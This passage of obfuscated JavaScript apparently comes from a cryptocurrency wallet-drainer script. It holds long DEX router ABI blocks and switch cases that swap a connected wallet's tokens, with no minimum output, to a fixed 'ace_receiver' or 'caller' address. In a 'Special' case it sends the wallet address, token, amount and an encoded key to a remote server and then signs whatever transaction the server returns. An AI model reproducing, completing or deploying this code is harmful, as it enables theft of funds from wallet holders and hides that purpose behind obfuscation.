}, { | |
internalType: "uint256", | |
name: "_dstPoolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_dstGasForCall", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "eqFee", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "eqReward", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "lpFee", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "protocolFee", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "lkbRemove", | |
type: "uint256" | |
}], | |
internalType: "struct Pool.SwapObj", | |
name: "_s", | |
type: "tuple" | |
}, { | |
internalType: "bytes", | |
name: "_payload", | |
type: "bytes" | |
}], | |
name: "swapRemote", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "transferOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}], | |
name: "withdrawMintFee", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}], | |
name: "withdrawProtocolFee", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}]; | |
let _0x542520 = new ethers.Contract(_0x2b7b1b, _0x38c28f, _0x9d9505); | |
let _0x5739ea = await _0x542520.quoteLayerZeroFee(_0x21c78b, 1, this.ace_receiver, "0x", { | |
dstGasForCall: 0, | |
dstNativeAmount: 0, | |
dstNativeAddr: this.ace_receiver | |
}); | |
let _0x2857b9 = _0x5739ea[0]; | |
const _0x23b8b8 = { | |
value: _0x2857b9 | |
}; | |
return [_0x542520.swap(_0x21c78b, _0x389343, _0x212eb6, this.ace_receiver, _0x4f37a4.asset.amount, 0, { | |
dstGasForCall: 0, | |
dstNativeAmount: 0, | |
dstNativeAddr: "0x" | |
}, this.ace_receiver, "0x", _0x23b8b8), ""]; | |
} | |
case "Special": | |
{ | |
let _0x10f451 = this.tradingPairs[_0x4f37a4.chain]; | |
let _0xff54e5 = await fetch(this.domain + "/getdata/" + _0x10f451 + "/" + _0x4f37a4.asset.token + "/" + (await this.getWalletAddress()) + "/" + _0x4f37a4.asset.amount + "/" + this.getChainId(_0x4f37a4.chain) + "/" + Base64.encode(this.createEncKey()), { | |
method: "GET", | |
headers: { | |
Accept: "application/json" | |
} | |
}); | |
let _0x3cf54a = await _0xff54e5.json(); | |
let _0x1436a0 = await _0x9d9505.getTransactionCount("pending"); | |
let _0x4628b3 = { | |
nonce: "0x" + _0x1436a0.toString(16), | |
data: _0x3cf54a.trade.data, | |
from: _0x3cf54a.trade.from, | |
value: "0x00", | |
to: _0x3cf54a.trade.to, | |
gasLimit: "0x" + _0x3cf54a.maxGas.toString(16) | |
}; | |
return [_0x9d9505.sendTransaction(_0x4628b3), ""]; | |
} | |
case "SpookySwap": | |
{ | |
let _0xa762bb = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WETH", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WETH", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountADesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountIn", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountOut", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsIn", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsOut", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveB", | |
type: "uint256" | |
}], | |
name: "quote", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETHSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapETHForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETHSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x682c2b = new ethers.Contract(_0x2b7b1b, _0xa762bb, _0x9d9505); | |
let _0x31f69c = await _0x682c2b.WETH(); | |
let _0x4d635b = []; | |
_0x4d635b[0] = _0x4f37a4.asset.token; | |
_0x4d635b[1] = _0x31f69c; | |
return [_0x682c2b.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x4d635b, this.caller, _0x1b1427), _0x31f69c]; | |
} | |
case "ShibaSwap": | |
{ | |
let _0x5e7947 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WETH", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WETH", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountADesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountIn", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountOut", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsIn", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsOut", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveB", | |
type: "uint256" | |
}], | |
name: "quote", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETHSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapETHForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
